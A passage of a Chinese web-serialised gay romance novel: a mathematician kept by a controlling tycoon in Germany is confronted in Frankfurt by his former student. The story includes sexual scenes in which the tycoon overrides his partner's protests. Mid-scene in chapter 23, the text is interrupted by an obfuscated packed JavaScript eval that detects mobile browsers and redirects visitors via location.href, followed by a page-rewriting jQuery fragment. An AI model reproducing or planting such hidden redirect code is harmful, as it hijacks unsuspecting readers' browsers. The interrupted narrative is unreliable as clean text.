自从两人睡到一块,只要是单独相处,他简直跟卸下伪装一般,毫不遮掩随时迸发的欲|望。 “怎么不至于……”他一边含着他耳垂反复嘬弄,一边动手扒衣服,“我一个月能有几天在你身|上?” 李景麟脱了外套,又把曾闰成身上那件羽绒服也扒拉下来,随手一丢,这车的后座空间相当宽敞。 他一把搂过他,深深吻住,含糊不清的在他耳边嘟囔,“让我陪你坐这么久的车,总得给点甜头……”手已经伸进他的衣服里。 “其实,你可以坐飞机……”曾闰成知道躲不过,但还是挣扎着按住他肆虐的手掌,“坐好行不行,后面有车……” “放心吧,他们不会超过的……”比力气,他永远不是他对手,大手轻易就挣脱了束缚,继续攻城掠地。 “不行,这路上又不止我们一家车……”曾闰成极力的躲避,李景麟按了一个按键,后舱的玻璃升起一层黑色网点的帐幔,整个空间瞬间就暗沉下来,一如曾闰成惶惶不安的心境。 他虽然不排斥同性恋,但是也没有设想过男人之间的欢|爱,李景麟算是带他打开了新世界的大门。可是这门也开得实在太大了一点,情|欲席卷而来,经常让他挣扎在生死的边缘。 “你这不是摆明了告诉别人……唔……你放开我……”打又打不过,又不能翻脸,只能低声的祈求,“在我妹面前给我留点面子吧……” 李景麟不为所动,“她已经不是小孩子了……”他的唇急切的在他颈上流连啃咬,“我早就想跟你在车上试试……” “流氓……”他还没骂完,李景麟一只手已经掌住他后脑勺,两片嘴唇包裹住他的,吞咽了所有未出口的话语。车辆时有颠簸,令他的入侵变得分外刺激而漫长。 李景麟在床上向来是强势的姿态,如果他想吃,就要吃得心满意足,才会停下。 曾闰成即使羞恼万分,也只能任他为所欲为。所以,他如果待的时间超过一个星期,他简直是条件反射性的双腿打颤。 不过他餮足之后,也会分外好说话。“等安顿下来,应该还有时间,我陪你去海德堡转转。” 他将他整个搂在怀里,温情的亲吻着他一侧的额头,“见见你的博导,安排一次meeting。” “不用了,这些我自己能搞定。”曾闰成疲累的闭着眼睛,“你安排好小霞入学的事情就行。” “放心,法兰克福有国际学校,她等着明年春季开学就行了。” 他温顺的趴伏在他的胸|膛上,赤|裸的背|脊上遍布红痕,看上去分外可怜却又诱|人犯罪,他似乎要睡着了,低低的说:“谢谢你。” 带了点疏离和倦意的声音彷佛从胸口直达心腔,成功的抑制住了他又起苗头的欲望。 李景麟微微的舒展了双臂,将他松松的搂着,“睡吧。”他吻了吻他的黑发。 穿过罗马广场,有四栋高楼排布成风车的形状,是法兰克福除了一些金融机构以外难得一见的高层豪宅。24层的高度可以俯瞰美茵河的美景,室内装修是按照李景麟的喜好,一水的低调奢华。 原本离开庄园还有点闷闷不乐的曾闰霞,看到周围远比柏林热闹的景象又高兴起来,兴致勃勃的挑选着房间。 秘书安排了Mary和Emma、司机的住宿,又亲自去市场采买,让厨师做了一顿日料。 “你手底下的人个个都这么能干吗?”这个叫徐理的男秘书曾闰成是第一次见。 “你最——能干。”李景麟一本正经的用餐,睨他一眼,勾起的唇角明晃晃的表达出意有所指。 简直没法交流。 休息了一个晚上,第二天驱车去海德堡,海德堡是一座古老宁静的小城,李景麟和曾闰成携手走在海德堡老桥上,两个保镖远远的缀在后面。 时不时的有人回头看一眼两个东方面孔,眼里带着点对他们出色外表的赞赏,但很少有人上前去打扰。 德国本身是承认同性婚姻合法的国家,外国人又很注重个人隐私,人流也要少很多,曾闰成开始还有点不自在,后面看确实没有什么看稀奇的目光也就放松了,任李景麟牵着他的手,徜徉在碧水蓝天森林环绕的内卡河畔。 但这样静谧的氛围显然不是十五六岁小女孩会喜欢的,曾闰霞大呼无聊,想要去看科隆大教堂。 “听说是中世纪的古建筑,又壮观又美,”她拿着网络上搜索到的图片给李景麟看,典型的哥特式建筑风格,确实有一种狰狞怪异的美感。 曾闰成看看天色已经近黄昏,“科隆离法兰克福不远,下次周末我带你去。”这个时候赶去只怕已经关门,而且晚餐时间估计在路上,他知道李景麟比较注重三餐准时,而且食不厌精。 曾闰霞噘着嘴巴,表达着不开心,她自从生病,那个懂事会体贴别人的小姑娘似乎就越走越 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虽然没有撼动他健壮的身躯,推的力气也不小,抗拒的意味太明显,李景麟脸上闪过一抹不悦。 “晚上再说。”曾闰成只能安抚一句。 浑然不知这一幕落在街边的两双眼睛里,有多么的刺目。 傅廷恩刚把车停靠在马路边,就看到了那张令他魂牵梦萦的脸,他简直不敢相信自己的眼睛,一时间愣在车里。 但是没有错,那样温润的轮廓、牛奶般白皙的肤色、线条柔和的眉眼,甚至脸上浮起的淡淡笑容,都跟记忆中一模一样。他在落日的余晖中闪闪发光,让人疑心是错觉出现。 然而,另一个身影打破了这个幻境,他似乎也被这份美丽吸引,探身过去亲吻他,曾闰成有些慌乱的躲避,却被强势的扣住,一只手捏住了他的下颌,令他只能被动的仰起头,高大的身影如愿攫取了这份甘甜。 傅廷恩的面庞从一片雪白,又瞬间转为恼怒的红晕,他转头看看江永安,又伸手指指那个身影,“江永安?”他微张着唇,仍然是不敢置信的模样。 即使隔着挡风玻璃,即使他对曾闰成不算很熟悉,江永安也知道没有看错,那个在科隆大教堂前跟一个男人热吻的身影,就是身边这个男人难以忘怀的初恋。谁主动提跟谁翻脸,自己却又忍不住祥林嫂一样在他耳边细数两人相处的各种细节。 常把江永安烦得要死,可作为天生弯他也能理解,初恋初吻是个直男,搁哪个gay心里能不膈应呢?甚至身边这个“牛津浪子”称号的由来,直男初恋居功至伟。 可现在,直男初恋竟然跟一个男人在街头热吻?江永安是真忍不住为傅廷恩掬一把同情的泪水了。 傅廷恩从怔愣中回过神,满脸寒霜,推开车门就要下去,江永安一把拉住他,示意他看那一对身侧不远处伫立着的两个保镖,“你清醒一点!” “你以为我要下去打架?” 不,我以为你要下去杀人。 “故人相见,怎么能不去叙叙旧?!”傅廷恩推开他,打开车门,他自感脚步有如踩在云端,现实中却是一步步十分稳当的走了过去,“好久不见了,曾老师。” 22. 第 22 章 每年一月初在巴黎举办的名媛舞会,并不只是各国少女炫耀家世和高定礼裙、结识朋友的场所,更是欧洲各国富豪云集的社交圣地,承接举办的香格里拉酒店位于塞纳河畔,行政套房推窗可见埃菲尔铁塔。 江永安对着穿衣镜拂了拂熨得十分平整的肩线,又拉扯了一下领口的白色领结,“看在你送我一套礼服的份上,我会帮你拦着点那个小妞的,她一准要黏糊你,至于李叔叔你不用太担心,这种场合他永远是最忙的那一个。” 他踢了踢床框,“你快起来呀,”又走到阳台眺望了一下,“香榭丽舍大道都开始堵车了,快起来,答应当人家舞伴,众目睽睽的,好歹捯饬一下。” “用不着。”傅廷恩坐起身子靠在床头,宿醉的头还隐隐作痛,他们昨天从科隆开到巴黎,买了礼服又入住了香格里拉。 凌晨,傅廷恩实在睡不着,让客房服务送了两只红酒上来,江永安只意思了两口,其余都进了傅廷恩嘴里,让他一觉睡到了天擦黑。 傅廷恩先点了根烟,门铃响,是客房送了餐食上来, “给你点的。我中午找我哥朋友拿邀请函的时候,顺便混了个午餐。你先吃点东西,垫吧垫吧,回头胃受不住,让你别喝这么多酒……” 傅廷恩一只手夹着烟,一只手蒙头打了个哈欠。“以前怎么没发现你这么能唠叨!” 江永安在剑桥,他在牛津,经常在各个圈子、各种局上碰面,一来二去,越来越熟,不然假期也不能一块出来自驾游。 “你这不识好歹的家伙!关心你还嫌我唠叨!” “那你还关心个屁!”傅廷恩把烟掐了,起身洗漱。 江永安看他就穿条三角裤从被窝里钻出来,眼光故意扫过那鼓囊囊的一团,坏笑着,“谁叫我一直想睡|你?” 如今的傅廷恩可不是那个纯情小肉鸡了,毫不在意的白他一眼,“那你这辈子是没指望了。” 江永安一直很吃傅廷恩的颜,但是勾搭过几次都没上手,傅廷恩睡他室友、睡他认识的人,就是不肯睡他。“那种玩玩的也就算了,咱俩还是同学,都在金城圈子里头混,别把事情搞复杂了。” 江永安其实也认同他说的,越了解傅廷恩,越觉得做朋友确实更长久,慢慢也就淡了心思,两个人关系反而越熟稔了,不然也不能充当祥林嫂的听众,听他诉说直男初恋的点点滴滴。 不过偶尔逮着机会还是要开他玩笑。“那早知道,昨晚上你喝成那样,我该趁机把你睡了。” “不好意思,酒精抑制人体中枢神经系统,满足不了你!” “为你当回1也不是不行!” “去死!”傅廷恩笑骂他一句,关上了浴室门。 江永安松了口气,能玩笑就好,不然看他昨天那副样子,真是让人捏把冷汗。 —————————————————————————— 香格里拉酒店作为波拿巴家族的遗产之一,是艺术与商业结合的典范。高耸的大理石柱,彩绘的玻璃花窗,大理石地板拼花造型独特复古,就连铁艺栏杆中间也镶嵌着皇冠的标志。 此刻人头攒动,热闹非凡。美妙的乐曲夹杂着各国口音的交谈,各种招呼、碰杯的声音此起彼伏。 傅廷恩和江永安穿梭在人群中,企图寻找熟悉的身影。倒也不是很费力,毕竟李景麟的身高和气势,即使在这种霸总云集的场合也是相当醒目的存在。 他和两三个朋友站在一座木雕刻壁炉前,手拿香槟,似乎在谈论壁炉前放置的米开朗基罗雕塑作品的铜仿制品。 傅廷恩和江永安走过去,两具最适合穿燕尾服的身体站到了一起,都是高挑的身段,均匀的线条,单从气势上来说,肯定是李景麟略胜一筹,颇有点“Kings and Princes”的区别。 但要论五官长相,自然是傅廷恩更出色,他轮廓分明,有一点混血的味道,眼窝深邃,鼻梁挺直,有西式的硬朗线条,又有中式的柔和神韵,自然卷的黑发也没有刻意造型打理,纷乱的披散着,略有点散漫的神态和身上板正的燕尾服,奇妙的反差引来不少窥探与注视。 闰成这个学生也生得太好了一些。这个念头划过,李景麟皱了皱眉头,他喜好美酒美人,但傅廷恩却不是他欣赏的那一挂,有的人可能天生就不合眼缘。 “小霞在宴会厅等你们。”舞会开始之前,女孩子会聚集在一处,对装扮进行最后的加工以求完美的展现。 “曾老师呢?”傅廷恩环顾四周。 “他身体不适,待家里了。”李景麟随意答道,正好有朋友走过来与他寒暄碰杯。 “家里?哼……” 江永安赶紧推着傅廷恩走开,“李叔叔您忙。” “你推我干嘛,我倒想问问他到底有多少个家?他老婆不是在澳洲吗?”傅廷恩气咻咻的。 “他花名在外,你难道在金城没听说过?”江永安示意他小点声,“当面给人难堪你能得什么好处?说不定还要让曾老师为难,毕竟咱俩可是曾老师学生。” “就是因为听说过,所以我才想不通,他为什么会跟这种人在一起。” 江永安敏锐的发现傅廷恩的眼睛竟然泛起了一圈红晕,赶紧安抚的把他拉到角落里。 “我想要一个解释,为什么?”傅廷恩那双浓黑的眼眸看着江永安,“他竟然不来!” “你听我说,你听我说,”江永安直觉傅廷恩的情绪在崩溃的边缘,“他不来我们可以去找他呀,你昨天没听他妹妹说?他们住在法兰克福。” 他下巴指指李景麟的方向,“他是不可能长久待在德国的,大不了回头我再陪你跑一趟法兰克福。” 他极力的安抚傅廷恩的情绪,“这种场合,你就算见了问了,也未必是真话,听我的,找个单独的机会聊一下,心结自然就解开了。” 江永安说的是有道理的,只是傅廷恩身在其中,无法这么淡定罢了。 他神情恹恹的走进西宴会厅,一屋子绿眸蓝眸灰眸的女生眼睛转过来,英语德语法语的笑闹声响起来,“这是谁的舞伴呀?”“So fit!”“Ye,so cute!” “He’s very easy on the eye!” “Hi,hot boy!” 化妆师和发型师正围着曾闰霞给她做细节的调整,听到厅内骤然响起的议论声,跟着抬头看向门口,傅廷恩穿着一身黑色燕尾服走进来,王子驾临一般。 她欢喜的攥着裙摆,向他跑过来:“廷恩哥。” 裙摆过长,差一点绊倒,傅廷恩忙扶住她,“不要跑这么快。” 他看着面前这个喜滋滋的小姑娘,昨晚上还查了一下她得的病,心头泛过一丝不忍,口气柔和下来,“饿不饿?要不要我去给你拿些吃的?” 曾闰霞摇摇头,“我不饿,我可以一直跳舞。”她小心翼翼的看着他,“廷恩哥,你会一直陪我跳舞吗?” 眼前的少女在这两年多的时光里变化也很大,个子长高了,身段苗条了,胸前也微微的鼓起,穿着高定的礼服,戴着宝石头冠,可是这个眼神却一如当初的清澈单纯,轻易就牵扯起他对那段逝去岁月的眷恋。 “好,一直陪你跳。”傅廷恩摸摸她的发梢,原本下垂的唇角扬起,露出一抹微笑来。 —————————————————————————— 曾闰霞到家已经是第二天晚上十一点,她哥坐在客厅的沙发上等她,膝上放着羊绒小毯,手里攥着本书,听到动静,放下书,转过头来。 她原本喜笑颜开的,看见她哥脸上的神情,收了笑容,咬咬嘴唇,小声的叫了声“哥”,走到沙发前来。 司机将手里拎着的一大堆纸袋子交给迎出来的菲佣安置,曾闰成看着那一堆印着LV、Hermes、Chanel字样的包袋,叹了口气,“一直催你不回来,就是买这些去了?” 曾闰霞低垂着头,“李叔叔回柏林了,他说随便我买,还给了我这张卡。”她把黑色的卡片递给她哥。 曾闰成不接,“你把账单给我看看。” 曾闰霞慢吞吞从随身小包里拿出一摞小票,曾闰成随便一核算,气得站起来,“十几万欧!曾闰霞你知不知道换算成人民币是多少钱?!”< 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“这种小事不要放在心上。这两晚都一个人睡,”他带点笑意的调侃,“有没有想我?” 曾闰成一时哽住。其实李景麟回去了金城,很少联系他,一般是等苏秘书下一次通知。 “嗯。”他不太习惯这种过度的温存,敷衍两句,挂了电话。 看看时间,不到十二点,他端了一盏温好的燕窝,去曾闰霞房间。 她果然还没睡,刚洗完澡,披散着头发坐在床头。 他把燕窝递给她,又帮她把头发吹干,斟酌着开口,“小霞,你这个年纪是爱美的时候,适当的买两样,哥不会反对。可是你买这么多就不合适了,尤其还拿人家黑金卡。” 曾闰霞也知道自己这次有些过分,低着头,“我是看到我们班同学都背这个,还每天不重样……哥,我知道错了。” “知道错了就好,以后不要再拿这种事去烦你李叔叔。” 他抚摸着少女有些稀疏的头发,到底没舍得说重话,“何况成长的美好,并不是由每天不重样的包包带来的,不要跟同学去攀比物质条件,知道吗?累了吧?早点休息。” 曾闰霞也松了口气,“哥,我还不想睡,你陪陪我嘛。”她撒娇的拉着她哥衣袖,“哥,你看到我给你发的照片了吗?昨晚的舞会会场真的布置得好漂亮,好高的香槟塔,我还看到好莱坞明星了,还求了合影。” 她掏出手机,把照片打开递给曾闰成,曾闰成翻阅着,一张张划过,一张傅廷恩和曾闰霞的合影映入眼帘,“是永安哥帮我们拍的,他人好好。不过也比不上廷恩哥,一晚上一直陪我跳舞,有个什么伯爵夫人邀请他他都拒绝了,因为他答应只陪我一个人跳。” 她甜笑着回味,“他答应我的事情总是能做得到!” 曾闰成看着照片里那熟悉的眉眼,快速的划过去,想起李景麟关于少女怀春的警告,便说道:“你努力读书,到时候也可以申请英国的大学。”或许这种思慕可以化为她学习的动力。 “哥,关于廷恩哥,我有件事情想跟你坦白。”她不安的搓着衣摆,像小时候犯了错一样,眼巴巴的看着他,“我撒了谎,觉得很不应该,可是……” “你说了什么?” “廷恩哥问我们什么时候到的德国,我没有说实话,我……”她眼眶一下子就红了,“如果他知道是因为我生病,我们才离开金城的……会不会怪我?都是因为我不好……” 她小声的哭喊起来,眼泪落在真丝被面上。 曾闰成愣了一下,反应过来,在她身旁坐下,又拿纸巾给她擦眼泪,“小霞不哭,你怎么会不好?你哪里有不好?” 他一叠声的安慰着她,等她情绪慢慢平静下来,才轻声道,“给你治病是哥哥的责任。又不是你要来这里治病的,以后不要再说怪自己的话。” 他垂下眼睛,“这也不是什么要紧的事情,无关紧要的人也不要再提起了。” 曾闰霞在抽噎里抬起小脸,“可是廷恩哥不是无关紧要的人啊,而且,他说了下个星期来法兰克福看我。” 23. 第 23 章 根本没有等到下个星期,第二天曾闰成就接到了电话,一道低沉透着阴郁的声音在耳边响起,“你不觉得你欠我一个解释吗?” 曾闰成叹了口气,躲是躲不过去的,“你找个咖啡馆吧。”毕竟不是自己的房子,并不适合在家里招待客人。 午后,他裹一件米色的风衣出了门,今天风不是很大,难得出了点太阳,傅廷恩选的咖啡馆离住的房子不算远,他没有叫司机,一个人沿着美因河畔慢慢走,寒风拂起他的发梢,吹木一张郁悒的面庞。 宽阔的大河对岸是一排排小巷子木房子,老城的风景总能轻易让人回想起从前。 跟傅廷恩相处的一幕幕场景放电影似的,在脑海里闪现,“曾老师,你还没有吃晚饭吧?我请你吃烧烤!” 站在房间都能听到他在楼下打电话的声音,“如果我不在家你怎么办?”“我会一直等你!”“我教你打网球好不好?我很厉害的,一定可以教会你……” 然后就是那次夏日的游玩,过山车上十指相扣的双手,灵水湖里静谧的午后时光……这些被他刻意遗忘的记忆,就跟这美因河的河水一般奔涌而来。 他带着点伤感和难堪,推开咖啡馆的木门,大厅深处一个身影立刻站了起来。 他叹了口气,直觉不会是一次愉快的会面,但仍带了点笑意唤他,“廷恩。” 傅廷恩愣愣的看着那个缓步走来的身影,跟从前几乎没有变化,还是素净的衣着,儒雅的气质,温润如玉的面庞上带着温和的笑意,像每一个愉快的周末见面时那样唤他:“廷恩。”好像中间两年多的时光并不存在一般。 傅廷恩原本冷硬的面庞柔和下来,“喝点什么?” “随便吧。” 他走开一会,端了一杯抹茶拿铁回来。 他还记得他爱喝的口味,曾闰成抿一口咖啡,“在牛津的学习还顺利吗?” 傅廷恩点点头,“作业很多,但同时各项活动也很多。对于有些同学来说,拿毕业证估计比拿offer还要难。”言下之意,不包括他自己。 这倒不是他吹牛,他玩归玩,学业确实也没落下。 这孩子头脑一向聪明,曾闰成看他自信满满的样子,不禁露出会心的微笑,“科研和实习搞得怎么样?” “科研只参与过一段,金融工程和量化金融方向的。去年暑假在伦敦的券商实习,主要搞行研和私募。” 私募一般不招收40岁以下人员,一听这个实习经验,就知道是妥妥的富N代。 “挺好。”曾闰成放下咖啡杯,“你过得好我也就放心了。” “你有担心过我吗?”傅廷恩浓睫下的眼睛紧盯着他。 曾闰成不自在的别过头去,“当然。”他补充了一句,“像你这样聪明又努力的孩子……”我不希望你因为一些琐事荒废了学业。 他话没说完,傅廷恩打断了他,“我不是孩子了。”他一眨不眨的盯着他,眼神跟要把人攫住一样,“你跟我说过你不喜欢男人……” 曾闰成垂头想了想,犹豫了一下,还是把这句话说出了口,“也许,是人的原因?” 傅廷恩跟被雷炸到一样,“你说什么?!”曾闰成这话的意思就跟他不是不喜欢男人,只是不喜欢他没什么两样! 在整个牛津都算妥妥的风云人物,男男女女都不乏爱慕者的傅廷恩完全接受不了,他们昨晚从巴黎直接开车往法兰克福,一路狂飙,情绪疲惫又暴躁。 “你宁肯……李景麟是什么名声你不知道吗?!他在全球各地有多少个像你一样的蓝颜知己你清楚吗?现在火遍全亚洲那个宋奕背后的资源谁提供的你了解吗?”傅廷恩把他从江永安那里听来的八卦一股脑倒出来,“这样的人你竟然……” 曾闰成阻止他说下去,“廷恩,这些事情与我无关……” “怎么无关了?你不想知道你是跟个什么货色在一起?”傅廷恩气得脸通红,“而且他还抢过你女朋友!” 曾闰成愣住,“你怎么知道这件事情……”这就等于是承认了傅廷恩的猜测。 傅廷恩好像一下子发现了什么关窍,“他抢过你前女友,现在又跟你在一起,难道……”他不敢置信的睁大了眼睛,“难道当初就是为了……” 这样可怕的人绝对不可能会是曾闰成看得上的,傅廷恩几乎可以笃定!他自认为是了解曾闰成的,他是个清高到骨子里的人,财富权势不会成为他选择一段感情的理由,如果有人跟他耍这种手段只会让他厌恶,不会让他欣赏。 他想到了曾闰霞的病,惊喜,没有错,真的是惊喜刹那间席卷全身,曾闰成绝不是因为爱李景麟才跟在一起,如果是为了给小霞治病,那他也可以! 他在慌乱与喜悦中口不择言:“曾老师,如果是为了给小霞治病那我也可以!我信托基金里面有大几百万!全都给……” “廷恩!”曾闰成睁大眼睛,愣愣看着眼前这个语无伦次的青年,难堪和羞辱奔涌上他的面色,“我以为我们至少曾经是朋友……” 傅廷恩愣住。他看着曾闰成涨红的脸庞,突然间就意识到自己说了什么,“对不起!闰成,我不是这个意思……我只是不希望你是因为钱……” 他再一次点出了这段关系的本质,曾闰成只觉得面皮被按在地上摩擦,他站起身,“廷恩,我们以后不要再见面了。谢谢你的咖啡。” 傅廷恩看着那道修长的背影走出了咖啡馆的大门,那疾速的足音好像响在他心上似的,看着那背影消失不见,他才如梦初醒般,追了出去。 他站在咖啡馆门口张目四顾,生怕他已经坐车走掉,好在美因河旁有一个熟悉的身影,只是步伐又疾又促,慌不择路似的。 他飞跑着追上去,“曾老师,闰成,你听我说……”他一把拖住他,却在他回望过来的眼神里呐呐不能言语。 他从来没有见过曾闰成这种表情,他似乎永远是温和的、稳定的、克制的,很少有这样情绪脆弱的时候。 曾闰成深深的吸了口气,酸楚夹杂着难堪的眼神不见了,取而代之的是他一贯的温文尔雅,“廷恩,”他拂开他的手,“其实我知道你是担心我,但是你放心,我是个成年人,我可以对自己的选择负完全的责任。” 他脸上甚至带上了一点欣慰的笑意,“其实,我一直担心,两年多前……我担心因为我处理不当给你带来什么伤害,你没有因此荒废学业,我就放心了。” “我没有给你造成损失,而你也没有伤害到我,”他顿了顿,“我们算是两不相欠吧。所以,真的不要再牵挂彼此的生活了,停在这里是最好的结局。” 他转目看向美因河,嘴角一丝苦笑掠过,“一段关系能保有一些美好的回忆已经很足够。”他回过头,迈开步伐,“再见了,廷恩。” 他再一次留给他一个离去的背影,傅廷恩只觉得冷风刮在脸上,刀割似的疼,这种裂痛从脸庞蔓延到心底。 他是真的不知道,他曾经带给过他怎样的痛苦吧? 傅廷恩追赶两步,伸手攥住了他的手腕,声音也变得冰冷,“两清?曾闰成,你还欠我一样东西。” 曾闰成停下步伐,傅廷恩转到他面前,眼睛直愣愣的看着他,“两年多前那个晚上……是你吻的我,那是我的初吻。你赔给我。” 冬天的冷风飕飕的拂过美因河,泛起的阵阵涟漪,一如不能平静的心波。傅廷恩的眼眶泛着红晕,那种眼神简直让人不忍直视。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422353|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾闰成在心底无声的叹息,良久,他闭上眼睛,稍稍抬起头,片刻之后,两片冰凉的唇和同样冰凉的两片轻轻贴在了一起,他插在衣袋里的两只手陡然的握紧了拳头。 天地间好像都安静下来,只剩下唇齿相依、呼吸相闻的两个人…… —————————————————————————— 傅廷恩不知道自己是怎么回到酒店的,一进门,一个枕头丢过来,他条件反射性的一把抓住,江永安冲他夸张的打了个唿哨,“The prodigal son returns.(浪子回来/回头了)”他不理他,颓然的坐在床畔,两只手插到头发里。 “不是,美因河的河风吹起来这么舒服的吗?人家都走了两小时了,你还木头一样一直杵在那。” 傅廷恩去见曾闰成,江永安一半不放心一半八卦的跟在后头,自然把两个人的拉扯尽收眼底,“我怎么才发现,你小子不止长了颗学习脑,还长了颗恋爱脑呢?”他把手机丢过去,“舌|吻都没有,就把你整成这死德性!要有一天上了床……” 傅廷恩接过手机,界面赫然是他跟曾闰成嘴唇相贴的画面。天色阴沉,大概离得距离有点远,拉了焦距,画面看上去有点模糊,但也能清晰的分辨出两个人的身影,两个人的身高差,属于他微抬头,他略低头,就能很好的零距离接触。使得画面即使模糊,也有美感。 他愣愣看着,都忘了要责备江永安侵犯隐私。 “让我来给你分析一下,其实我觉得你这个初恋对你,还是有感觉的。” 江永安附在他耳边,“我们要善于观察细节,你看看他的上衣口袋,是不是有两个明显的凸起?这是什么?这是握紧的拳头,”他跟个心理咨询师一样,细细的帮脑袋懵圈的当事人理清思路,“也是他对你有感觉的证明,你又不是没被人表白过,你还被强吻过哩上次学院的迎新party……” 傅廷恩作势要把手机摔他身上,江永安张开两手讨饶,“好,好,好,不说那个,你就自己回想一下,如果是你讨厌的没感觉的人靠近你,你会是什么表情和举动就明白了。绝不是这样!我可是选修了心理学专业的人,不要质疑我的判断!” 江永安一副得意洋洋的表情,内心底其实是真的不想再看到哥们这副颓丧要死的神情。 傅廷恩本来就没有死的心又重燃爱火,“我也觉得他对我是有感觉的……” 他低声把咖啡馆里发生的对话,一五一十跟心理学硕士(暂未毕业)交待了一遍。 听得江永安直摇头,“你果然不是天生弯,这思维这说话方式也太直男了!”他十分有耐心的帮他分析,“首先,关于曾老师和李叔叔的这段关系是一场交易,曾老师其实是认可了的,你听出来没有?” 傅廷恩点点头,“所以我才想……” “你想干嘛?你想曾老师放弃这段交易,转来跟你交易是不是?” “我不是!我没有!我……” “你表达的就是这个意思!” “不行!”傅廷恩“腾”的站起身,“我得跟他说清楚!”他急得团团转,“我看他的样子我就知道我说错话了,但是我不理解他为什么有那么大的反应……” 他狠狠的拍了一下自己脑袋,“我真的太混蛋了!” 江永安无语望天,这恋爱脑真的是没救了!他抢过他手机,“这事没法说清楚,其实曾老师未必就不明白你的意思,但只要他处于这段交易中,就没法回头。” 他安抚的拍拍傅廷恩肩膀,“你只能庆幸,他能跟别人谈交易,却不能跟你谈,因为他对你有感情,不管是友情还是爱情还是别的什么情,至少是有感情。” 24. 第 24 章 德国的博士是没有固定入学时间的,完全取决于跟导师的沟通。 曾闰成不让李景麟插手,自己申请到的博导是一个叫克里斯蒂安的德国本地人,他手上一个有关无人驾驶的研发项目刚好缺应用数学这块的人才,所以他在二月份就顺利进入海德堡大学,攻读数学博士,同时也跟导师签订了研究员合同,有了一份年薪4万欧元的工作,且享受全面的福利。 这是整个二月最令他开心的事情,不过因为签了全职,就意味着一周要有40个小时的工作时间,法兰克福离海德堡有将近一百公里,每天往返太费时间,所以他在学校申请了一间宿舍,每周五的下午回法兰克福,周一一早再赶到海德堡。 两个菲佣和司机都留在法市照顾曾闰霞,他拿欧盟玛丽居里发放的学者奖学金买了一辆二手福特,每周奔波倒也自由自在。 周五这天下午导师克里斯蒂安突然将他叫到办公室,递了一份新的合同给他,“Jasper,很抱歉我只能给你半工的合同了。其实我是很欣赏你的工作能力的,但是既然你家人有这方面的要求,而且家里也有病患需要照顾,半工合同确实更适合你。” 半工合同的意思就是一周只工作20个小时,但相应薪资福利待遇也要减半,当然毕业也需要延期。 曾闰成听导师一副没有商量余地的口吻,且提到家里人,自然知道是怎么回事了,只能签了新合同,怏怏不乐回了法兰克福。 紧接着又接到苏秘书电话,要求他回柏林,“李总要在庄园宴请几个朋友。”他记得李景麟说要介绍几个德国朋友给他认识这事,他是真的相当擅长敲一棍子再给颗甜枣。 司机载着他和曾闰霞返回柏林的庄园,一进雕花铁艺大门,李景麟一行人已经站在了庭院里,就连久未露面的苏秘书也陪同来了,看到他笑眯眯的打招呼:“闰成,最近很忙吗?好像瘦了一些。” 苏秘书的眼光十分锐利,他最近两地奔波,又开始固定时间工作,确实是瘦了一些。 李景麟听见,上来搂他肩膀,目光在他身上搜寻,“唔,一周四十个小时呢,能不瘦么?” 他丝毫不觉得越过他,直接跟他的导师改合同是一件过分的事情。面庞偏过来,似乎还想亲他一下。 几个园丁在花园里忙碌,苏秘书、小霞、司机也都在旁边站着,曾闰成又恼怒又不自在,转头躲开,顺势将他推开半尺远,李景麟的面色便沉了下来。 苏秘书见状,赶紧安排司机拿行李进去,又招呼曾闰霞,“小霞又长高了,我给你带了礼物。”先牵着她进去了。 李景麟一副似笑非笑的表情,“怎么?缩短你的工作时长还不高兴了?这么喜欢跟数据打交道?” “一周工作多长时间我自己有分寸……” “你的分寸就是每天不回家住?” 家?曾闰成想反问他,但想了想还是忍住了,低着头走进了大门,身后传来李景麟的冷笑声。 曾闰成不是不知道惹他生气的后果,但他这独断专横的毛病,他也实在忍不了。 晚餐桌上,两个人没说话,一众人沉默不安的吃完了一顿饭。李景麟早早上了二楼,曾闰成坐在起居室看完半本小说,才在苏秘书目光再三的催促下缓步上去了。 听到开门声,浴缸里泡澡的人睁开眼,跪伏在一边给他按肩颈的Tina丢给曾闰成一个担心的眼神,悄无声息的退了出去。 “曾博士这书读得脾气见长啊。”李景麟一副讥讽的语调,曾闰成不答话,脱了衣服在沐浴区冲澡。 李景麟起身,一只铁钳似的手箍住了他的手腕,一把就将他拉进了浴缸里。 翻身将他压在浴池壁上,看着他略有点冷淡的神色,却是欲|火四起,这个男人有着最柔和的眉眼,却有很硬气的脾性,他升腾起要将他压服的欲望,张嘴咬上他的唇,狠狠的蹂躏、啃噬…… 第二天下午Tina奉命来给他按摩,掀开床单,一身的青红紫绿让她低低的惊呼了一声:“Jasper,你很久没有吃过这种苦头了。” 她是港城人,喜欢叫他英文名,她说普通话的时候总带点港城人嗲嗲的温柔,性格又热情,跟着李景麟来过五六次之后,跟曾闰成就熟稔起来,经常会聊一点文学方面的事情,曾闰成没有申博以前,生活单调,每天书不离手。 曾闰成没有答话,头埋在枕头里,不想见人。白色毛巾搭在腰中间,只露出修长的四肢,Tina将她独家配方的按摩油浸润两只手掌,细细的帮他按摩整个身体,她的十个手指头有一层薄茧,按起来是很舒适的。 “你跟老板也这么久了,又不是不清楚他的脾气,”她一边按摩,一边低声的劝他,“你如果会哄一点,挣个上亿的身家不是难事。” 李景麟身边有个港城帮,以苏秘书为首,从秘书到厨师、按摩师、保镖,伺候他的团队基本都是以港城人为先,他始终最信任港城人。 Tina就是其中之一,她跟随李景麟多年,他身边这些男男女女算是见得比较齐全,女人就不用说,最多一两次就不见了人影,男人里头曾闰成绝对是他最上心的一个。每个月一趟专机飞柏林,雷打不动。 可Tina也清楚,甲之蜜糖乙之砒霜,这个最上心只怕有些人也并不稀罕。 第二天下午,客人陆陆续续抵达,曾闰成拖到日暮时分才下楼去。 客人都到了主人不出门迎接是很失礼的,但他自觉不算是主人,勃朗庄园的主人只有李景麟一个。 李景麟也知道他心里不痛快,没有派人催他。 他手搭着实木扶梯,踩着细密的羊毛地毯,缓步走下楼梯,客厅里或坐或站的几个人都抬起头来看他。 